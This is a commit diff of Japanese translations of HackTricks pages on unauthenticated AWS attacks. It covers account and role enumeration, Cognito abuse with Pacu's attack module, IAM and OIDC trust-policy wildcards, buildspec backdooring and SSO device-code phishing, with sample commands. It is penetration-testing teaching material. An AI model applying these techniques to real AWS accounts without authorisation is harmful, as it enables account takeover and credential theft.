mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 09:43:42 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## AWS 認証情報の漏洩
|
||||
|
||||
AWS アカウントへのアクセスや情報を取得する一般的な方法は、**漏洩を検索すること**です。**google dorks**を使用して漏洩を検索したり、**組織**や**組織の従業員**の**Github**や他のプラットフォームの**公開リポジトリ**をチェックしたり、**認証情報漏洩データベース**を検索したり、会社やそのクラウドインフラに関する情報を見つける可能性のある他の場所を探したりできます。\
|
||||
AWS アカウントへのアクセスや情報を取得する一般的な方法は、**漏洩を検索すること**です。**google dorks**を使用して漏洩を検索したり、**組織**の**公開リポジトリ**や**従業員**の**Github**や他のプラットフォームでの情報を確認したり、**認証情報漏洩データベース**を検索したり、会社やそのクラウドインフラに関する情報が見つかると思われる他の場所を探したりできます。\
|
||||
いくつかの便利な**ツール**:
|
||||
|
||||
- [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
|
||||
@@ -36,7 +36,7 @@ AWS には、インターネット全体または予想以上の多くの人々
|
||||
|
||||
## クロスアカウント攻撃
|
||||
|
||||
トークである [**隔離の破壊:クロスアカウント AWS 脆弱性**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、いくつかのサービスが**アカウント ID を指定しない AWS サービス**が許可されていたため、任意の AWS アカウントがそれらにアクセスできることが示されています。
|
||||
トークである [**隔離の破壊:クロスアカウント AWS 脆弱性**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、いくつかのサービスが**AWS アカウント ID を指定せずに**アクセスを許可していたため、任意の AWS アカウントがそれらにアクセスできることが示されています。
|
||||
|
||||
トーク中に、S3 バケットが**任意の AWS アカウント**の**cloudtrail**を**書き込むことを許可している**など、いくつかの例が示されています:
|
||||
|
||||
@@ -45,7 +45,7 @@ AWS には、インターネット全体または予想以上の多くの人々
|
||||
他に見つかった脆弱なサービス:
|
||||
|
||||
- AWS Config
|
||||
- Serverless リポジトリ
|
||||
- Serverless repository
|
||||
|
||||
## ツール
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Accounts Unauthenticated Enum
|
||||
# AWS - アカウントの認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,11 +16,11 @@ curl -v https://<acount_id>.signin.aws.amazon.com
|
||||
## It also works from account aliases
|
||||
curl -v https://vodafone-uk2.signin.aws.amazon.com
|
||||
```
|
||||
You can [自動化するこのプロセスはこのツールで](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
|
||||
このプロセスは[このツールを使って自動化できます](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py)。
|
||||
|
||||
### OSINT
|
||||
|
||||
`<alias>.signin.aws.amazon.com` を含むURLを探してください。**組織に関連するエイリアス**を使用してください。
|
||||
**組織に関連する**エイリアスを持つ`<alias>.signin.aws.amazon.com`を含むURLを探します。
|
||||
|
||||
### Marketplace
|
||||
|
||||
@@ -28,9 +28,9 @@ You can [自動化するこのプロセスはこのツールで](https://github.
|
||||
|
||||
### Snapshots
|
||||
|
||||
- 公開EBSスナップショット (EC2 -> Snapshots -> Public Snapshots)
|
||||
- RDS公開スナップショット (RDS -> Snapshots -> All Public Snapshots)
|
||||
- 公開AMI (EC2 -> AMIs -> Public images)
|
||||
- 公開EBSスナップショット(EC2 -> Snapshots -> Public Snapshots)
|
||||
- RDS公開スナップショット(RDS -> Snapshots -> All Public Snapshots)
|
||||
- 公開AMI(EC2 -> AMIs -> Public images)
|
||||
|
||||
### Errors
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - API Gateway Unauthenticated Enum
|
||||
# AWS - API Gateway 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### API Invoke bypass
|
||||
### API 呼び出しバイパス
|
||||
|
||||
According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)、Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出すための権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています:
|
||||
[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)の講演によると、Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出す権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -23,12 +23,12 @@ According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Auth
|
||||
|
||||
いくつかの例:
|
||||
|
||||
- 各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるためのルール`arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`は、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。
|
||||
- `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`のようなルールは、各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるために使用されますが、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。
|
||||
|
||||
> [!WARNING]
|
||||
> **"\*"はスラッシュでの拡張を止めない**ことに注意してください。したがって、例えばapi-idで"\*"を使用すると、最終的な正規表現が有効である限り、「任意のステージ」や「任意のメソッド」を示す可能性もあります。\
|
||||
> したがって、`arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
|
||||
> は、例えば`/prod/GET/dashboard/admin`へのテストステージへのポストリクエストを検証できます。
|
||||
> は、例えば`/prod/GET/dashboard/admin`へのパスに対してテストステージへのポストリクエストを検証できます。
|
||||
|
||||
アクセスを許可したいものを常に明確にし、与えられた権限で他のシナリオが可能かどうかを確認する必要があります。
|
||||
|
||||
@@ -36,7 +36,7 @@ According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Auth
|
||||
|
||||
### IAMポリシーインジェクション
|
||||
|
||||
同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード(および"."や特定の文字列など)が**制限を回避する**目的で含まれる可能性があることが明らかにされています。
|
||||
同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード(および"."や特定の文字列など)が含まれる可能性があり、**制限を回避する**ことを目的としていることが明らかにされています。
|
||||
|
||||
### 公開URLテンプレート
|
||||
```
|
||||
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### buildspec.yml
|
||||
|
||||
**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を流出させ、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することができます。
|
||||
**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を抽出し、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することになります。
|
||||
|
||||
**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合(または別のCI/CDが使用されている場合)、実行される**正当なコードを修正する**ことで、例えばリバースシェルを取得することも可能です。
|
||||
**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合(または別のCI/CDが使用されている場合)、実行される**正当なコードを変更する**ことで、例えばリバースシェルを取得することも可能です。
|
||||
|
||||
関連情報については、Github Actionsを攻撃する方法に関するページを確認してください(これに類似しています):
|
||||
関連情報については、Github Actionsを攻撃する方法に関するページを確認できます(これに似ています):
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-ci-cd/github-security/abusing-github-actions/
|
||||
@@ -28,6 +28,6 @@
|
||||
```bash
|
||||
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
```
|
||||
このGithub ActionsとAWSの新しい関係は、GithubからAWSを妥協させる別の方法を生み出します。Githubのコードは、IAMロールが付与されたCodeBuildプロジェクトで実行されます。
|
||||
このGithub ActionsとAWSの新しい関係は、GithubのコードがIAMロールが付与されたCodeBuildプロジェクトで実行されるため、GithubからAWSを侵害する別の方法を作ります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Unauthenticated Cognito
|
||||
|
||||
Cognitoは、開発者が**アプリのユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザーにIAMロールを付与**し(潜在的に誰でもサインアップできる可能性があります)、**認証されていないユーザーにもIAMロールを付与**することができます。
|
||||
Cognitoは、開発者が**アプリユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザー**に**IAMロールを付与**し(潜在的に誰でもサインアップできる可能性があります)、**認証されていないユーザー**にも**IAMロールを付与**することができます。
|
||||
|
||||
Cognitoに関する基本情報は以下を確認してください:
|
||||
|
||||
@@ -14,30 +14,30 @@ Cognitoに関する基本情報は以下を確認してください:
|
||||
|
||||
### Identity Pool ID
|
||||
|
||||
アイデンティティプールは、**アイデンティティプールIDを知っているだけの認証されていないユーザーにIAMロールを付与**することができ(これは比較的一般的に**見つける**ことができます)、この情報を持つ攻撃者はその**IAMロールにアクセスし**、それを悪用しようとする可能性があります。\
|
||||
さらに、IAMロールはアイデンティティプールにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにアイデンティティプールで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証されたユーザーに付与されるIAMロールにアクセス**し、その特権を悪用することができます。
|
||||
Identity Poolは、**Identity Pool IDを知っているだけの認証されていないユーザー**に**IAMロールを付与**することができ(これは比較的一般的に**見つける**ことができます)、この情報を持つ攻撃者はその**IAMロールにアクセス**し、悪用しようとする可能性があります。\
|
||||
さらに、IAMロールは、Identity Poolにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにIdentity Poolで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証された**ユーザーに付与される**IAMロールにアクセス**し、その特権を悪用することができます。
|
||||
|
||||
[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)。
|
||||
|
||||
### User Pool ID
|
||||
|
||||
デフォルトでは、Cognitoは**新しいユーザーを登録する**ことを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognitoユーザープールをアイデンティティプロバイダーとして受け入れている**アイデンティティプールの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。
|
||||
デフォルトでは、Cognitoは**新しいユーザーを登録**することを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognito User Poolをアイデンティティプロバイダーとして受け入れている**Identity Poolの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)。
|
||||
|
||||
### Pacu modules for pentesting and enumeration
|
||||
|
||||
[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。
|
||||
[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito__enum」と「cognito__attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。
|
||||
|
||||
モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。
|
||||
|
||||
#### Usage
|
||||
|
||||
サンプルの`cognito__attack`の使用法は、特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです:
|
||||
特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるためのサンプル`cognito__attack`の使用法:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します:
|
||||
サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - DocumentDB Unauthenticated Enum
|
||||
# AWS - DocumentDB 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -10,6 +10,6 @@
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
AWSへのアクセスを提供する以外に、すべてのAWSまたは一部の侵害された外部AWSアカウントへのアクセス、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする方法はわかりません。
|
||||
AWSまたは一部の侵害された外部AWSアカウントへのアクセスを提供すること、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする他のオプションはわかりません。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
もし誰でも復元可能なスナップショットを見つけた場合は、[AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)を確認して、スナップショットのダウンロードと略奪に関する指示を確認してください。
|
||||
誰でも復元可能なスナップショットを見つけた場合は、スナップショットのダウンロードと略奪に関する指示について[AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)を確認してください。
|
||||
|
||||
#### 公開URLテンプレート
|
||||
```bash
|
||||
@@ -47,7 +47,7 @@ ec2-{ip-seperated}.compute-1.amazonaws.com
|
||||
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
|
||||
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
|
||||
```
|
||||
### パブリックIPを持つEC2インスタンスを列挙する
|
||||
### パブリックIPを持つEC2インスタンスの列挙
|
||||
```bash
|
||||
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
@@ -12,16 +12,16 @@
|
||||
|
||||
### 公開レジストリリポジトリ(イメージ)
|
||||
|
||||
ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws/<random>/<name>`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる**。
|
||||
ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws/<random>/<name>`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる** 可能性があります。
|
||||
```bash
|
||||
aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
|
||||
```
|
||||
> [!WARNING]
|
||||
> これは、レジストリポリシーまたはリポジトリポリシーが**「AWS": "*"**にアクセスを許可している**プライベートレジストリ**でも発生する可能性があります。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。
|
||||
> これは、**プライベートレジストリ**でも発生する可能性があり、レジストリポリシーまたはリポジトリポリシーが**例えば `"AWS": "*"`** にアクセスを許可している場合です。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。
|
||||
|
||||
### プライベートリポジトリの列挙
|
||||
|
||||
ツール[**skopeo**](https://github.com/containers/skopeo)と[**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md)を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。
|
||||
ツール [**skopeo**](https://github.com/containers/skopeo) と [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。
|
||||
```bash
|
||||
# Get image names
|
||||
skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## ECS
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### ECSサービスの公開アクセス可能なセキュリティグループまたはロードバランサー
|
||||
### ECS サービスの公開アクセス可能なセキュリティグループまたはロードバランサー
|
||||
|
||||
**インターネットからの受信トラフィックを許可する(0.0.0.0/0 または ::/0)** 誤って構成されたセキュリティグループは、AWSリソースを攻撃にさらす可能性があります。
|
||||
**インターネットからの受信トラフィックを許可する(0.0.0.0/0 または ::/0)** 誤って構成されたセキュリティグループは、AWS リソースを攻撃にさらす可能性があります。
|
||||
```bash
|
||||
# Example of detecting misconfigured security group for ECS services
|
||||
aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
詳細については、次を確認してください:
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
@@ -22,7 +22,7 @@ Beanstalkのウェブページの形式は**`https://<webapp-name>-env.<region>.
|
||||
|
||||
### 公開アクセス可能なロードバランサー
|
||||
|
||||
Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信できます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。
|
||||
Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信することができます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。
|
||||
|
||||
### 公開アクセス可能なS3バケット
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
### ~~ロールのブルートフォース攻撃~~
|
||||
|
||||
> [!CAUTION]
|
||||
> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが返されます:
|
||||
> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが表示されます:
|
||||
>
|
||||
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
|
||||
>
|
||||
@@ -15,7 +15,7 @@
|
||||
>
|
||||
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
|
||||
|
||||
必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージがトリガーされます。たとえば、無許可の場合、AWSは次のように返すことがあります:
|
||||
必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージが表示されます。たとえば、無許可の場合、AWSは次のように返すことがあります:
|
||||
```ruby
|
||||
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
|
||||
```
|
||||
@@ -23,16 +23,16 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: User: ar
|
||||
```less
|
||||
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
|
||||
```
|
||||
興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストを使用することで、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。
|
||||
興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストがあれば、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。
|
||||
|
||||
この[スクリプトを使用して潜在的なプリンシパルを列挙](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)することができます。
|
||||
|
||||
### 信頼ポリシー: ブルートフォースクロスアカウントロールとユーザー
|
||||
### 信頼ポリシー: クロスアカウントロールとユーザーのブルートフォース
|
||||
|
||||
**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義し、一時的な資格情報を取得することを含みます**。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。
|
||||
**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義することを含み、**一時的な資格情報を取得します。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。
|
||||
|
||||
> [!WARNING]
|
||||
> そのリソースでは、クロスアカウントロールまたはユーザーを指定できることに注意してください:
|
||||
> そのリソース内でクロスアカウントロールまたはユーザーを指定できることに注意してください:
|
||||
>
|
||||
> - `arn:aws:iam::acc_id:role/role_name`
|
||||
> - `arn:aws:iam::acc_id:user/user_name`
|
||||
@@ -54,7 +54,7 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth
|
||||
```
|
||||
#### GUI
|
||||
|
||||
それは、**存在しないロールを使用した場合**に見つかる**エラー**です。ロールが**存在する**場合、ポリシーは**エラーなし**で**保存**されます。(エラーは更新用ですが、作成時にも機能します)
|
||||
それは、**存在しないロール**を使用した場合に見つかる**エラー**です。ロールが**存在する**場合、ポリシーはエラーなしで**保存**されます。(エラーは更新用ですが、作成時にも機能します)
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -91,19 +91,19 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a
|
||||
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
|
||||
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
|
||||
```
|
||||
You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
|
||||
このプロセスは[https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)を使って自動化できます。
|
||||
|
||||
- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
|
||||
|
||||
Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
|
||||
私たちの使用する[Pacu](https://github.com/RhinoSecurityLabs/pacu):
|
||||
|
||||
- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
|
||||
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
|
||||
- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
|
||||
- 例で使用されている`admin`ロールは、pacuが列挙のために必要なポリシーを作成するために**あなたのアカウントで偽装されるロール**です。
|
||||
|
||||
### Privesc
|
||||
|
||||
役割が不適切に構成されており、誰でもそれを引き受けることができる場合:
|
||||
ロールが不適切に構成されており、誰でもそれを引き受けることができる場合:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -120,10 +120,10 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
|
||||
```
|
||||
攻撃者はそれを仮定することができます。
|
||||
|
||||
## 第三者 OIDC フェデレーション
|
||||
## サードパーティOIDCフェデレーション
|
||||
|
||||
あなたが **AWS** 内の **ロール** にアクセスしている **Github Actions ワークフロー** を読むことに成功したと想像してください。\
|
||||
この信頼は、次の **信頼ポリシー** を持つロールへのアクセスを与える可能性があります:
|
||||
あなたが**AWS**内の**ロール**にアクセスしている**Github Actionsワークフロー**を読むことができたと想像してください。\
|
||||
この信頼は、次の**信頼ポリシー**を持つロールへのアクセスを与える可能性があります:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -143,16 +143,16 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
|
||||
]
|
||||
}
|
||||
```
|
||||
この信頼ポリシーは正しいかもしれませんが、**より多くの条件がない**ことは信頼できない理由です。\
|
||||
これは、前のロールが**Github Actionsの誰でも**引き受けられるからです!条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります...
|
||||
この信頼ポリシーは正しいかもしれませんが、**より多くの条件が欠けている**ため、信頼しないべきです。\
|
||||
これは、前のロールが**Github Actionsの誰でも**引き受けることができるからです!条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります...
|
||||
|
||||
別の潜在的な誤設定は、次のような**条件を追加する**ことです:
|
||||
もう一つの潜在的な誤設定は、次のような**条件を追加する**ことです:
|
||||
```json
|
||||
"StringLike": {
|
||||
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
|
||||
}
|
||||
```
|
||||
注意してください **ワイルドカード** (\*) **コロン** (:) の前に。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。
|
||||
**コロン** (:) の前の **ワイルドカード** (\*) に注意してください。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -1,23 +1,23 @@
|
||||
# AWS - Identity Center & SSO Unauthenticated Enum
|
||||
# AWS - Identity Center & SSO 認証なし列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWSデバイスコードフィッシング
|
||||
## AWS デバイスコードフィッシング
|
||||
|
||||
最初に[**このブログ記事**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)で提案されたように、AWS SSOを使用してユーザーに**リンク**を送信することが可能で、**ユーザーが承認**すると、攻撃者は**ユーザーを偽装するためのトークン**を取得し、**Identity Center**でユーザーがアクセスできるすべてのロールにアクセスできるようになります。
|
||||
|
||||
この攻撃を実行するための要件は次のとおりです:
|
||||
|
||||
- 被害者は**Identity Center**を使用する必要があります
|
||||
- 被害者は**Identity Center**を使用している必要があります
|
||||
- 攻撃者は被害者が使用している**サブドメイン**を知っている必要があります `<victimsub>.awsapps.com/start`
|
||||
|
||||
前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されれば**、**攻撃者はAWSユーザー**アカウントへのアクセスを得ることができます。
|
||||
前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されると**攻撃者はAWSユーザーアカウントへの**アクセス権**を得ることができます。
|
||||
|
||||
### 攻撃
|
||||
|
||||
1. **サブドメインの特定**
|
||||
|
||||
攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**または**推測 + ブルートフォース**を使用して行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。
|
||||
